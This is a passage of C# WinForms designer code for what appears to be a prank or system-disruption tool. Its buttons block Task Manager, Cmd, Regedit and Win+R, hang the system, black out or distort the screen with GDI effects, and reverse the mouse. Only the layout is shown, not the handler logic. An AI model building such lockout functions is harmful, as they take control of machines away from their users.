this.metroLabel18 = new MetroLabel(); + this.metroButton31 = new MetroButton(); + this.metroLabel19 = new MetroLabel(); + this.metroButton33 = new MetroButton(); + this.metroLabel20 = new MetroLabel(); + this.metroLabel21 = new MetroLabel(); + this.metroButton35 = new MetroButton(); + this.metroLabel22 = new MetroLabel(); + this.metroButton37 = new MetroButton(); + this.metroLabel23 = new MetroLabel(); + this.metroButton39 = new MetroButton(); + this.metroLabel24 = new MetroLabel(); + this.metroButton41 = new MetroButton(); + this.metroLabel25 = new MetroLabel(); + this.metroButton43 = new MetroButton(); + this.metroLabel26 = new MetroLabel(); + this.metroButton45 = new MetroButton(); + this.metroLabel27 = new MetroLabel(); + this.metroButton47 = new MetroButton(); + this.metroLabel29 = new MetroLabel(); + this.metroButton51 = new MetroButton(); + this.metroLabel30 = new MetroLabel(); + this.metroButton53 = new MetroButton(); + this.metroLabel31 = new MetroLabel(); + this.metroButton55 = new MetroButton(); + this.metroLabel32 = new MetroLabel(); + this.metroButton57 = new MetroButton(); + this.metroLabel33 = new MetroLabel(); + this.metroButton59 = new MetroButton(); + this.metroLabel28 = new MetroLabel(); + this.metroButton49 = new MetroButton(); + this.metroLabel34 = new MetroLabel(); + this.metroButton61 = new MetroButton(); + this.metroLabel35 = new MetroLabel(); + this.metroButton63 = new MetroButton(); + this.metroLabel36 = new MetroLabel(); + this.metroButton64 = new MetroButton(); + this.metroButton65 = new MetroButton(); + this.metroButton66 = new MetroButton(); + this.metroButton67 = new MetroButton(); + this.metroButton68 = new MetroButton(); + this.metroButton69 = new MetroButton(); + this.metroButton70 = new MetroButton(); + this.metroButton71 = new MetroButton(); + this.metroLabel37 = new MetroLabel(); + this.metroButton73 = new MetroButton(); + this.metroLabel38 = new MetroLabel(); + this.metroButton75 = new MetroButton(); + this.SuspendLayout(); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.metroTextBox2.CustomButton.Image = (Image) null; + this.metroTextBox2.CustomButton.Location = new Point(234, 1); + this.metroTextBox2.CustomButton.Name = ""; + this.metroTextBox2.CustomButton.Size = new Size(23, 23); + this.metroTextBox2.CustomButton.Style = MetroColorStyle.Blue; + this.metroTextBox2.CustomButton.TabIndex = 1; + this.metroTextBox2.CustomButton.Theme = MetroThemeStyle.Light; + this.metroTextBox2.CustomButton.UseSelectable = true; + this.metroTextBox2.CustomButton.Visible = false; + this.metroTextBox2.Lines = new string[1] + { + "https://www.google.com/search?q=sheet" + }; + this.metroTextBox2.Location = new Point(272, 326); + this.metroTextBox2.MaxLength = (int) short.MaxValue; + this.metroTextBox2.Name = "metroTextBox2"; + this.metroTextBox2.PasswordChar = char.MinValue; + this.metroTextBox2.ScrollBars = ScrollBars.None; + this.metroTextBox2.SelectedText = ""; + this.metroTextBox2.SelectionLength = 0; + this.metroTextBox2.SelectionStart = 0; + this.metroTextBox2.ShortcutsEnabled = true; + this.metroTextBox2.Size = new Size(258, 25); + this.metroTextBox2.Style = MetroColorStyle.Lime; + this.metroTextBox2.TabIndex = 2; + this.metroTextBox2.Text = "https://www.google.com/search?q=sheet"; + this.metroTextBox2.Theme = MetroThemeStyle.Dark; + this.metroTextBox2.UseSelectable = true; + this.metroTextBox2.UseStyleColors = true; + this.metroTextBox2.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.metroTextBox2.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroButton1.Location = new Point(272, 357); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(94, 20); + this.metroButton1.Style = MetroColorStyle.Lime; + this.metroButton1.TabIndex = 39; + this.metroButton1.Text = "Open Link"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click); + this.metroButton2.Location = new Point(272, 417); + this.metroButton2.Name = "metroButton2"; + this.metroButton2.Size = new Size(94, 20); + this.metroButton2.Style = MetroColorStyle.Lime; + this.metroButton2.TabIndex = 40; + this.metroButton2.Text = "Calc"; + this.metroButton2.Theme = MetroThemeStyle.Dark; + this.metroButton2.UseSelectable = true; + this.metroButton2.UseStyleColors = true; + this.metroButton2.Click += new EventHandler(this.metroButton2_Click); + this.metroButton3.Location = new Point(382, 417); + this.metroButton3.Name = "metroButton3"; + this.metroButton3.Size = new Size(94, 20); + this.metroButton3.Style = MetroColorStyle.Lime; + this.metroButton3.TabIndex = 41; + this.metroButton3.Text = "Cmd"; + this.metroButton3.Theme = MetroThemeStyle.Dark; + this.metroButton3.UseSelectable = true; + this.metroButton3.UseStyleColors = true; + this.metroButton3.Click += new EventHandler(this.metroButton3_Click); + this.metroButton4.Location = new Point(134, 99); + this.metroButton4.Name = "metroButton4"; + this.metroButton4.Size = new Size(94, 20); + this.metroButton4.Style = MetroColorStyle.Lime; + this.metroButton4.TabIndex = 43; + this.metroButton4.Text = "Hide"; + this.metroButton4.Theme = MetroThemeStyle.Dark; + this.metroButton4.UseSelectable = true; + this.metroButton4.UseStyleColors = true; + this.metroButton4.Click += new EventHandler(this.metroButton4_Click); + this.metroButton5.Location = new Point(24, 99); + this.metroButton5.Name = "metroButton5"; + this.metroButton5.Size = new Size(94, 20); + this.metroButton5.Style = MetroColorStyle.Lime; + this.metroButton5.TabIndex = 42; + this.metroButton5.Text = "Show"; + this.metroButton5.Theme = MetroThemeStyle.Dark; + this.metroButton5.UseSelectable = true; + this.metroButton5.UseStyleColors = true; + this.metroButton5.Click += new EventHandler(this.metroButton5_Click); + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(24, 77); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(52, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 44; + this.metroLabel2.Text = "TaskBar"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(24, 125); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(56, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 47; + this.metroLabel1.Text = "Desktop"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroButton6.Location = new Point(134, 147); + this.metroButton6.Name = "metroButton6"; + this.metroButton6.Size = new Size(94, 20); + this.metroButton6.Style = MetroColorStyle.Lime; + this.metroButton6.TabIndex = 46; + this.metroButton6.Text = "Hide"; + this.metroButton6.Theme = MetroThemeStyle.Dark; + this.metroButton6.UseSelectable = true; + this.metroButton6.UseStyleColors = true; + this.metroButton6.Click += new EventHandler(this.metroButton6_Click); + this.metroButton7.Location = new Point(24, 147); + this.metroButton7.Name = "metroButton7"; + this.metroButton7.Size = new Size(94, 20); + this.metroButton7.Style = MetroColorStyle.Lime; + this.metroButton7.TabIndex = 45; + this.metroButton7.Text = "Show"; + this.metroButton7.Theme = MetroThemeStyle.Dark; + this.metroButton7.UseSelectable = true; + this.metroButton7.UseStyleColors = true; + this.metroButton7.Click += new EventHandler(this.metroButton7_Click); + this.metroLabel3.AutoSize = true; + this.metroLabel3.Location = new Point(24, 175); + this.metroLabel3.Name = "metroLabel3"; + this.metroLabel3.Size = new Size(41, 19); + this.metroLabel3.Style = MetroColorStyle.Lime; + this.metroLabel3.TabIndex = 50; + this.metroLabel3.Text = "Clock"; + this.metroLabel3.Theme = MetroThemeStyle.Dark; + this.metroLabel3.UseStyleColors = true; + this.metroButton8.Location = new Point(134, 197); + this.metroButton8.Name = "metroButton8"; + this.metroButton8.Size = new Size(94, 20); + this.metroButton8.Style = MetroColorStyle.Lime; + this.metroButton8.TabIndex = 49; + this.metroButton8.Text = "Hide"; + this.metroButton8.Theme = MetroThemeStyle.Dark; + this.metroButton8.UseSelectable = true; + this.metroButton8.UseStyleColors = true; + this.metroButton8.Click += new EventHandler(this.metroButton8_Click); + this.metroButton9.Location = new Point(24, 197); + this.metroButton9.Name = "metroButton9"; + this.metroButton9.Size = new Size(94, 20); + this.metroButton9.Style = MetroColorStyle.Lime; + this.metroButton9.TabIndex = 48 /*0x30*/; + this.metroButton9.Text = "Show"; + this.metroButton9.Theme = MetroThemeStyle.Dark; + this.metroButton9.UseSelectable = true; + this.metroButton9.UseStyleColors = true; + this.metroButton9.Click += new EventHandler(this.metroButton9_Click); + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(272, 175); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(48 /*0x30*/, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 53; + this.metroLabel4.Text = "Mouse"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.metroButton10.Location = new Point(382, 197); + this.metroButton10.Name = "metroButton10"; + this.metroButton10.Size = new Size(94, 20); + this.metroButton10.Style = MetroColorStyle.Lime; + this.metroButton10.TabIndex = 52; + this.metroButton10.Text = "Default"; + this.metroButton10.Theme = MetroThemeStyle.Dark; + this.metroButton10.UseSelectable = true; + this.metroButton10.UseStyleColors = true; + this.metroButton10.Click += new EventHandler(this.metroButton10_Click); + this.metroButton11.Location = new Point(272, 197); + this.metroButton11.Name = "metroButton11"; + this.metroButton11.Size = new Size(94, 20); + this.metroButton11.Style = MetroColorStyle.Lime; + this.metroButton11.TabIndex = 51; + this.metroButton11.Text = "Reverse"; + this.metroButton11.Theme = MetroThemeStyle.Dark; + this.metroButton11.UseSelectable = true; + this.metroButton11.UseStyleColors = true; + this.metroButton11.Click += new EventHandler(this.metroButton11_Click); + this.metroLabel5.AutoSize = true; + this.metroLabel5.Location = new Point(520, 77); + this.metroLabel5.Name = "metroLabel5"; + this.metroLabel5.Size = new Size(61, 19); + this.metroLabel5.Style = MetroColorStyle.Lime; + this.metroLabel5.TabIndex = 56; + this.metroLabel5.Text = "CD Drive"; + this.metroLabel5.Theme = MetroThemeStyle.Dark; + this.metroLabel5.UseStyleColors = true; + this.metroButton12.Location = new Point(630, 99); + this.metroButton12.Name = "metroButton12"; + this.metroButton12.Size = new Size(94, 20); + this.metroButton12.Style = MetroColorStyle.Lime; + this.metroButton12.TabIndex = 55; + this.metroButton12.Text = "Close"; + this.metroButton12.Theme = MetroThemeStyle.Dark; + this.metroButton12.UseSelectable = true; + this.metroButton12.UseStyleColors = true; + this.metroButton12.Click += new EventHandler(this.metroButton12_Click); + this.metroButton13.Location = new Point(520, 99); + this.metroButton13.Name = "metroButton13"; + this.metroButton13.Size = new Size(94, 20); + this.metroButton13.Style = MetroColorStyle.Lime; + this.metroButton13.TabIndex = 54; + this.metroButton13.Text = "Open"; + this.metroButton13.Theme = MetroThemeStyle.Dark; + this.metroButton13.UseSelectable = true; + this.metroButton13.UseStyleColors = true; + this.metroButton13.Click += new EventHandler(this.metroButton13_Click); + this.metroLabel6.AutoSize = true; + this.metroLabel6.Location = new Point(520, 135); + this.metroLabel6.Name = "metroLabel6"; + this.metroLabel6.Size = new Size(82, 19); + this.metroLabel6.Style = MetroColorStyle.Lime; + this.metroLabel6.TabIndex = 59; + this.metroLabel6.Text = "Black Screen"; + this.metroLabel6.Theme = MetroThemeStyle.Dark; + this.metroLabel6.UseStyleColors = true; + this.metroButton14.Location = new Point(630, 157); + this.metroButton14.Name = "metroButton14"; + this.metroButton14.Size = new Size(94, 20); + this.metroButton14.Style = MetroColorStyle.Lime; + this.metroButton14.TabIndex = 58; + this.metroButton14.Text = "Close"; + this.metroButton14.Theme = MetroThemeStyle.Dark; + this.metroButton14.UseSelectable = true; + this.metroButton14.UseStyleColors = true; + this.metroButton14.Click += new EventHandler(this.metroButton14_Click); + this.metroButton15.Location = new Point(520, 157); + this.metroButton15.Name = "metroButton15"; + this.metroButton15.Size = new Size(94, 20); + this.metroButton15.Style = MetroColorStyle.Lime; + this.metroButton15.TabIndex = 57; + this.metroButton15.Text = "Open"; + this.metroButton15.Theme = MetroThemeStyle.Dark; + this.metroButton15.UseSelectable = true; + this.metroButton15.UseStyleColors = true; + this.metroButton15.Click += new EventHandler(this.metroButton15_Click); + this.metroLabel7.AutoSize = true; + this.metroLabel7.Location = new Point(272, 77); + this.metroLabel7.Name = "metroLabel7"; + this.metroLabel7.Size = new Size(102, 19); + this.metroLabel7.Style = MetroColorStyle.Lime; + this.metroLabel7.TabIndex = 62; + this.metroLabel7.Text = "Blocking actions"; + this.metroLabel7.Theme = MetroThemeStyle.Dark; + this.metroLabel7.UseStyleColors = true; + this.metroButton16.Location = new Point(382, 99); + this.metroButton16.Name = "metroButton16"; + this.metroButton16.Size = new Size(94, 20); + this.metroButton16.Style = MetroColorStyle.Lime; + this.metroButton16.TabIndex = 61; + this.metroButton16.Text = "Stop"; + this.metroButton16.Theme = MetroThemeStyle.Dark; + this.metroButton16.UseSelectable = true; + this.metroButton16.UseStyleColors = true; + this.metroButton16.Click += new EventHandler(this.metroButton16_Click); + this.metroButton17.Location = new Point(272, 99); + this.metroButton17.Name = "metroButton17"; + this.metroButton17.Size = new Size(94, 20); + this.metroButton17.Style = MetroColorStyle.Lime; + this.metroButton17.TabIndex = 60; + this.metroButton17.Text = "Start"; + this.metroButton17.Theme = MetroThemeStyle.Dark; + this.metroButton17.UseSelectable = true; + this.metroButton17.UseStyleColors = true; + this.metroButton17.Click += new EventHandler(this.metroButton17_Click); + this.metroLabel8.AutoSize = true; + this.metroLabel8.Location = new Point(272, 125); + this.metroLabel8.Name = "metroLabel8"; + this.metroLabel8.Size = new Size(98, 19); + this.metroLabel8.Style = MetroColorStyle.Lime; + this.metroLabel8.TabIndex = 65; + this.metroLabel8.Text = "Holding mouse"; + this.metroLabel8.Theme = MetroThemeStyle.Dark; + this.metroLabel8.UseStyleColors = true; + this.metroButton18.Location = new Point(382, 147); + this.metroButton18.Name = "metroButton18"; + this.metroButton18.Size = new Size(94, 20); + this.metroButton18.Style = MetroColorStyle.Lime; + this.metroButton18.TabIndex = 64 /*0x40*/; + this.metroButton18.Text = "Stop"; + this.metroButton18.Theme = MetroThemeStyle.Dark; + this.metroButton18.UseSelectable = true; + this.metroButton18.UseStyleColors = true; + this.metroButton18.Click += new EventHandler(this.metroButton18_Click); + this.metroButton19.Location = new Point(272, 147); + this.metroButton19.Name = "metroButton19"; + this.metroButton19.Size = new Size(94, 20); + this.metroButton19.Style = MetroColorStyle.Lime; + this.metroButton19.TabIndex = 63 /*0x3F*/; + this.metroButton19.Text = "Start"; + this.metroButton19.Theme = MetroThemeStyle.Dark; + this.metroButton19.UseSelectable = true; + this.metroButton19.UseStyleColors = true; + this.metroButton19.Click += new EventHandler(this.metroButton19_Click); + this.metroLabel9.AutoSize = true; + this.metroLabel9.Location = new Point(24, 253); + this.metroLabel9.Name = "metroLabel9"; + this.metroLabel9.Size = new Size(92, 19); + this.metroLabel9.Style = MetroColorStyle.Lime; + this.metroLabel9.TabIndex = 68; + this.metroLabel9.Text = "Block TaskMgr"; + this.metroLabel9.Theme = MetroThemeStyle.Dark; + this.metroLabel9.UseStyleColors = true; + this.metroButton20.Location = new Point(134, 275); + this.metroButton20.Name = "metroButton20"; + this.metroButton20.Size = new Size(94, 20); + this.metroButton20.Style = MetroColorStyle.Lime; + this.metroButton20.TabIndex = 67; + this.metroButton20.Text = "Unlock"; + this.metroButton20.Theme = MetroThemeStyle.Dark; + this.metroButton20.UseSelectable = true; + this.metroButton20.UseStyleColors = true; + this.metroButton20.Click += new EventHandler(this.metroButton20_Click); + this.metroButton21.Location = new Point(24, 275); + this.metroButton21.Name = "metroButton21"; + this.metroButton21.Size = new Size(94, 20); + this.metroButton21.Style = MetroColorStyle.Lime; + this.metroButton21.TabIndex = 66; + this.metroButton21.Text = "Lock"; + this.metroButton21.Theme = MetroThemeStyle.Dark; + this.metroButton21.UseSelectable = true; + this.metroButton21.UseStyleColors = true; + this.metroButton21.Click += new EventHandler(this.metroButton21_Click); + this.metroLabel10.AutoSize = true; + this.metroLabel10.Location = new Point(22, 304); + this.metroLabel10.Name = "metroLabel10"; + this.metroLabel10.Size = new Size(73, 19); + this.metroLabel10.Style = MetroColorStyle.Lime; + this.metroLabel10.TabIndex = 71; + this.metroLabel10.Text = "Block Cmd"; + this.metroLabel10.Theme = MetroThemeStyle.Dark; + this.metroLabel10.UseStyleColors = true; + this.metroButton22.Location = new Point(132, 326); + this.metroButton22.Name = "metroButton22"; + this.metroButton22.Size = new Size(94, 20); + this.metroButton22.Style = MetroColorStyle.Lime; + this.metroButton22.TabIndex = 70; + this.metroButton22.Text = "Unlock"; + this.metroButton22.Theme = MetroThemeStyle.Dark; + this.metroButton22.UseSelectable = true; + this.metroButton22.UseStyleColors = true; + this.metroButton22.Click += new EventHandler(this.metroButton22_Click); + this.metroButton23.Location = new Point(22, 326); + this.metroButton23.Name = "metroButton23"; + this.metroButton23.Size = new Size(94, 20); + this.metroButton23.Style = MetroColorStyle.Lime; + this.metroButton23.TabIndex = 69; + this.metroButton23.Text = "Lock"; + this.metroButton23.Theme = MetroThemeStyle.Dark; + this.metroButton23.UseSelectable = true; + this.metroButton23.UseStyleColors = true; + this.metroButton23.Click += new EventHandler(this.metroButton23_Click); + this.metroLabel11.AutoSize = true; + this.metroLabel11.Location = new Point(24, 356); + this.metroLabel11.Name = "metroLabel11"; + this.metroLabel11.Size = new Size(89, 19); + this.metroLabel11.Style = MetroColorStyle.Lime; + this.metroLabel11.TabIndex = 74; + this.metroLabel11.Text = "Block Regedit"; + this.metroLabel11.Theme = MetroThemeStyle.Dark; + this.metroLabel11.UseStyleColors = true; + this.metroButton24.Location = new Point(134, 378); + this.metroButton24.Name = "metroButton24"; + this.metroButton24.Size = new Size(94, 20); + this.metroButton24.Style = MetroColorStyle.Lime; + this.metroButton24.TabIndex = 73; + this.metroButton24.Text = "Unlock"; + this.metroButton24.Theme = MetroThemeStyle.Dark; + this.metroButton24.UseSelectable = true; + this.metroButton24.UseStyleColors = true; + this.metroButton24.Click += new EventHandler(this.metroButton24_Click); + this.metroButton25.Location = new Point(24, 378); + this.metroButton25.Name = "metroButton25"; + this.metroButton25.Size = new Size(94, 20); + this.metroButton25.Style = MetroColorStyle.Lime; + this.metroButton25.TabIndex = 72; + this.metroButton25.Text = "Lock"; + this.metroButton25.Theme = MetroThemeStyle.Dark; + this.metroButton25.UseSelectable = true; + this.metroButton25.UseStyleColors = true; + this.metroButton25.Click += new EventHandler(this.metroButton25_Click); + this.metroLabel12.AutoSize = true; + this.metroLabel12.Location = new Point(24, 404); + this.metroLabel12.Name = "metroLabel12"; + this.metroLabel12.Size = new Size(75, 19); + this.metroLabel12.Style = MetroColorStyle.Lime; + this.metroLabel12.TabIndex = 77; + this.metroLabel12.Text = "Block WinR"; + this.metroLabel12.Theme = MetroThemeStyle.Dark; + this.metroLabel12.UseStyleColors = true; + this.metroButton26.Location = new Point(134, 426); + this.metroButton26.Name = "metroButton26"; + this.metroButton26.Size = new Size(94, 20); + this.metroButton26.Style = MetroColorStyle.Lime; + this.metroButton26.TabIndex = 76; + this.metroButton26.Text = "Unlock"; + this.metroButton26.Theme = MetroThemeStyle.Dark; + this.metroButton26.UseSelectable = true; + this.metroButton26.UseStyleColors = true; + this.metroButton26.Click += new EventHandler(this.metroButton26_Click); + this.metroButton27.Location = new Point(24, 426); + this.metroButton27.Name = "metroButton27"; + this.metroButton27.Size = new Size(94, 20); + this.metroButton27.Style = MetroColorStyle.Lime; + this.metroButton27.TabIndex = 75; + this.metroButton27.Text = "Lock"; + this.metroButton27.Theme = MetroThemeStyle.Dark; + this.metroButton27.UseSelectable = true; + this.metroButton27.UseStyleColors = true; + this.metroButton27.Click += new EventHandler(this.metroButton27_Click); + this.metroComboBox3.FontSize = MetroComboBoxSize.Small; + this.metroComboBox3.FormattingEnabled = true; + this.metroComboBox3.ItemHeight = 19; + this.metroComboBox3.Items.AddRange(new object[4] + { + (object) "0", + (object) "90", + (object) "180", + (object) "270" + }); + this.metroComboBox3.Location = new Point(272, 275); + this.metroComboBox3.Margin = new Padding(2); + this.metroComboBox3.Name = "metroComboBox3"; + this.metroComboBox3.Size = new Size(102, 25); + this.metroComboBox3.Style = MetroColorStyle.Lime; + this.metroComboBox3.TabIndex = 78; + this.metroComboBox3.Theme = MetroThemeStyle.Dark; + this.metroComboBox3.UseSelectable = true; + this.metroComboBox3.UseStyleColors = true; + this.metroLabel13.AutoSize = true; + this.metroLabel13.Location = new Point(272, 253); + this.metroLabel13.Name = "metroLabel13"; + this.metroLabel13.Size = new Size(48 /*0x30*/, 19); + this.metroLabel13.Style = MetroColorStyle.Lime; + this.metroLabel13.TabIndex = 79; + this.metroLabel13.Text = "Screen"; + this.metroLabel13.Theme = MetroThemeStyle.Dark; + this.metroLabel13.UseStyleColors = true; + this.metroButton28.Location = new Point(382, 280); + this.metroButton28.Name = "metroButton28"; + this.metroButton28.Size = new Size(94, 20); + this.metroButton28.Style = MetroColorStyle.Lime; + this.metroButton28.TabIndex = 80 /*0x50*/; + this.metroButton28.Text = "Reverse"; + this.metroButton28.Theme = MetroThemeStyle.Dark; + this.metroButton28.UseSelectable = true; + this.metroButton28.UseStyleColors = true; + this.metroButton28.Click += new EventHandler(this.metroButton28_Click); + this.metroLabel14.AutoSize = true; + this.metroLabel14.Location = new Point(272, 302); + this.metroLabel14.Name = "metroLabel14"; + this.metroLabel14.Size = new Size(56, 19); + this.metroLabel14.Style = MetroColorStyle.Lime; + this.metroLabel14.TabIndex = 81; + this.metroLabel14.Text = "Browser"; + this.metroLabel14.Theme = MetroThemeStyle.Dark; + this.metroLabel14.UseStyleColors = true; + this.metroLabel15.AutoSize = true; + this.metroLabel15.Location = new Point(272, 395); + this.metroLabel15.Name = "metroLabel15"; + this.metroLabel15.Size = new Size(112 /*0x70*/, 19); + this.metroLabel15.Style = MetroColorStyle.Lime; + this.metroLabel15.TabIndex = 82; + this.metroLabel15.Text = "Open Application"; + this.metroLabel15.Theme = MetroThemeStyle.Dark; + this.metroLabel15.UseStyleColors = true; + this.metroButton29.Location = new Point(520, 229); + this.metroButton29.Name = "metroButton29"; + this.metroButton29.Size = new Size(94, 20); + this.metroButton29.Style = MetroColorStyle.Lime; + this.metroButton29.TabIndex = 83; + this.metroButton29.Text = "Open"; + this.metroButton29.Theme = MetroThemeStyle.Dark; + this.metroButton29.UseSelectable = true; + this.metroButton29.UseStyleColors = true; + this.metroButton29.Click += new EventHandler(this.metroButton29_Click); + this.metroLabel16.AutoSize = true; + this.metroLabel16.Location = new Point(520, 207); + this.metroLabel16.Name = "metroLabel16"; + this.metroLabel16.Size = new Size(46, 19); + this.metroLabel16.Style = MetroColorStyle.Lime; + this.metroLabel16.TabIndex = 84; + this.metroLabel16.Text = "Sound"; + this.metroLabel16.Theme = MetroThemeStyle.Dark; + this.metroLabel16.UseStyleColors = true; + this.metroLabel17.AutoSize = true; + this.metroLabel17.Location = new Point(520, 258); + this.metroLabel17.Name = "metroLabel17"; + this.metroLabel17.Size = new Size(56, 19); + this.metroLabel17.Style = MetroColorStyle.Lime; + this.metroLabel17.TabIndex = 86; + this.metroLabel17.Text = "Monitor"; + this.metroLabel17.Theme = MetroThemeStyle.Dark; + this.metroLabel17.UseStyleColors = true; + this.metroButton30.Location = new Point(520, 280); + this.metroButton30.Name = "metroButton30"; + this.metroButton30.Size = new Size(94, 20); + this.metroButton30.Style = MetroColorStyle.Lime; + this.metroButton30.TabIndex = 85; + this.metroButton30.Text = "Shutdown"; + this.metroButton30.Theme = MetroThemeStyle.Dark; + this.metroButton30.UseSelectable = true; + this.metroButton30.UseStyleColors = true; + this.metroButton30.Click += new EventHandler(this.metroButton30_Click); + this.metroLabel18.AutoSize = true; + this.metroLabel18.Location = new Point(630, 207); + this.metroLabel18.Name = "metroLabel18"; + this.metroLabel18.Size = new Size(85, 19); + this.metroLabel18.Style = MetroColorStyle.Lime; + this.metroLabel18.TabIndex = 88; + this.metroLabel18.Text = "Hang System"; + this.metroLabel18.Theme = MetroThemeStyle.Dark; + this.metroLabel18.UseStyleColors = true; + this.metroButton31.Location = new Point(630, 229); + this.metroButton31.Name = "metroButton31"; + this.metroButton31.Size = new Size(94, 20); + this.metroButton31.Style = MetroColorStyle.Lime; + this.metroButton31.TabIndex = 87; + this.metroButton31.Text = "Start"; + this.metroButton31.Theme = MetroThemeStyle.Dark; + this.metroButton31.UseSelectable = true; + this.metroButton31.UseStyleColors = true; + this.metroButton31.Click += new EventHandler(this.metroButton31_Click); + this.metroLabel19.AutoSize = true; + this.metroLabel19.Location = new Point(524, 395); + this.metroLabel19.Name = "metroLabel19"; + this.metroLabel19.Size = new Size(78, 19); + this.metroLabel19.Style = MetroColorStyle.Lime; + this.metroLabel19.TabIndex = 91; + this.metroLabel19.Text = "Fuck Screen"; + this.metroLabel19.Theme = MetroThemeStyle.Dark; + this.metroLabel19.UseStyleColors = true; + this.metroButton33.Location = new Point(524, 417); + this.metroButton33.Name = "metroButton33"; + this.metroButton33.Size = new Size(94, 20); + this.metroButton33.Style = MetroColorStyle.Lime; + this.metroButton33.TabIndex = 89; + this.metroButton33.Text = "Start"; + this.metroButton33.Theme = MetroThemeStyle.Dark; + this.metroButton33.UseSelectable = true; + this.metroButton33.UseStyleColors = true; + this.metroButton33.Click += new EventHandler(this.metroButton33_Click); + this.metroLabel20.AutoSize = true; + this.metroLabel20.Location = new Point(808, 77); + this.metroLabel20.Name = "metroLabel20"; + this.metroLabel20.Size = new Size(71, 19); + this.metroLabel20.Style = MetroColorStyle.Red; + this.metroLabel20.TabIndex = 92; + this.metroLabel20.Text = "GDI effects"; + this.metroLabel20.Theme = MetroThemeStyle.Dark; + this.metroLabel20.UseStyleColors = true; + this.metroLabel21.AutoSize = true; + this.metroLabel21.Location = new Point(755, 102); + this.metroLabel21.Name = "metroLabel21"; + this.metroLabel21.Size = new Size(106, 19); + this.metroLabel21.Style = MetroColorStyle.Lime; + this.metroLabel21.TabIndex = 95; + this.metroLabel21.Text = "Horizontal Smelt"; + this.metroLabel21.Theme = MetroThemeStyle.Dark; + this.metroLabel21.UseStyleColors = true; + this.metroButton35.Location = new Point(755, 124); + this.metroButton35.Name = "metroButton35"; + this.metroButton35.Size = new Size(55, 20); + this.metroButton35.Style = MetroColorStyle.Lime; + this.metroButton35.TabIndex = 93; + this.metroButton35.Text = "Start"; + this.metroButton35.Theme = MetroThemeStyle.Dark; + this.metroButton35.UseSelectable = true; + this.metroButton35.UseStyleColors = true; + this.metroButton35.Click += new EventHandler(this.metroButton35_Click); + this.metroLabel22.AutoSize = true; + this.metroLabel22.Location = new Point(878, 102); + this.metroLabel22.Name = "metroLabel22"; + this.metroLabel22.Size = new Size(40, 19); + this.metroLabel22.Style = MetroColorStyle.Lime; + this.metroLabel22.TabIndex = 98; + this.metroLabel22.Text = "Wide"; + this.metroLabel22.Theme = MetroThemeStyle.Dark; + this.metroLabel22.UseStyleColors = true; + this.metroButton37.Location = new Point(878, 124); + this.metroButton37.Name = "metroButton37"; + this.metroButton37.Size = new Size(55, 20); + this.metroButton37.Style = MetroColorStyle.Lime; + this.metroButton37.TabIndex = 96 /*0x60*/; + this.metroButton37.Text = "Start"; + this.metroButton37.Theme = MetroThemeStyle.Dark; + this.metroButton37.UseSelectable = true; + this.metroButton37.UseStyleColors = true; + this.metroButton37.Click += new EventHandler(this.metroButton37_Click); + this.metroLabel23.AutoSize = true; + this.metroLabel23.Location = new Point(878, 153); + this.metroLabel23.Name = "metroLabel23"; + this.metroLabel23.Size = new Size(83, 19); + this.metroLabel23.Style = MetroColorStyle.Lime; + this.metroLabel23.TabIndex = 104; + this.metroLabel23.Text = "VerticalWide"; + this.metroLabel23.Theme = MetroThemeStyle.Dark; + this.metroLabel23.UseStyleColors = true; + this.metroButton39.Location = new Point(878, 175); + this.metroButton39.Name = "metroButton39"; + this.metroButton39.Size = new Size(55, 20); + this.metroButton39.Style = MetroColorStyle.Lime; + this.metroButton39.TabIndex = 102; + this.metroButton39.Text = "Start"; + this.metroButton39.Theme = MetroThemeStyle.Dark; + this.metroButton39.UseSelectable = true; + this.metroButton39.UseStyleColors = true; + this.metroButton39.Click += new EventHandler(this.metroButton39_Click); + this.metroLabel24.AutoSize = true; + this.metroLabel24.Location = new Point(755, 153); + this.metroLabel24.Name = "metroLabel24"; + this.metroLabel24.Size = new Size(32 /*0x20*/, 19); + this.metroLabel24.Style = MetroColorStyle.Lime; + this.metroLabel24.TabIndex = 101; + this.metroLabel24.Text = "Wef"; + this.metroLabel24.Theme = MetroThemeStyle.Dark; + this.metroLabel24.UseStyleColors = true; + this.metroButton41.Location = new Point(755, 175); + this.metroButton41.Name = "metroButton41"; + this.metroButton41.Size = new Size(55, 20); + this.metroButton41.Style = MetroColorStyle.Lime; + this.metroButton41.TabIndex = 99; + this.metroButton41.Text = "Start"; + this.metroButton41.Theme = MetroThemeStyle.Dark; + this.metroButton41.UseSelectable = true; + this.metroButton41.UseStyleColors = true; + this.metroButton41.Click += new EventHandler(this.metroButton41_Click); + this.metroLabel25.AutoSize = true; + this.metroLabel25.Location = new Point(878, 248); + this.metroLabel25.Name = "metroLabel25"; + this.metroLabel25.Size = new Size(41, 19); + this.metroLabel25.Style = MetroColorStyle.Lime; + this.metroLabel25.TabIndex = 116; + this.metroLabel25.Text = "Train1"; + this.metroLabel25.Theme = MetroThemeStyle.Dark; + this.metroLabel25.UseStyleColors = true; + this.metroButton43.Location = new Point(878, 270); + this.metroButton43.Name = "metroButton43"; + this.metroButton43.Size = new Size(55, 20); + this.metroButton43.Style = MetroColorStyle.Lime; + this.metroButton43.TabIndex = 114; 